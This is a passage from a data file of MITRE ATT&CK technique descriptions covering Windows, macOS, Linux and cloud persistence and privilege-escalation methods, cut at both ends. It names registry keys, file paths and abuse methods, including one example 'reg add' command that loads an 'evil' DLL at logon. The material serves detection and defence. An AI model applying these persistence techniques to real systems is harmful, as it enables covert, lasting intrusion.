commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\nT1546.012 | Image File Execution Options Injection | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\nT1546.011 | Application Shimming | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\nT1547.002 | Authentication Package | Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.\nT1546.010 | AppInit DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\nT1546.009 | AppCert DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \nT1546.008 | Accessibility Features | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe\nT1546.007 | Netsh Helper DLL | Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)\nT1546.006 | LC_LOAD_DYLIB Addition | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)\nT1546.005 | Trap | Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)\nT1546.004 | Unix Shell Configuration Modification | Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\nT1546.003 | Windows Management Instrumentation Event Subscription | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\nT1546.002 | Screensaver | Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)\nT1546.001 | Change Default File Association | Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)\nT1547.001 | Registry Run Keys / Startup Folder | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\nT1547 | Boot or Logon Autostart Execution | Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.\nT1546 | Event Triggered Execution | Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. \nT1098.003 | Additional Cloud Roles | An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) Similarly, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nSimilarly, an adversary with the Azure AD Global Administrator role can toggle the \u201cAccess management for Azure resources\u201d option to gain the ability to assign privileged access to Azure subscriptions and virtual machines to Azure AD users, including themselves.(Citation: Azure AD to AD) \nT1098.002 | Additional Email Delegate Permissions | Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)\nT1098.001 | Additional Cloud Credentials | Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)\nT1543.004 | Launch Daemon | Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)\nT1543.003 | Windows Service | Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).\nT1543.002 | Systemd Service | Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)\nT1543.001 | Launch Agent | Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch 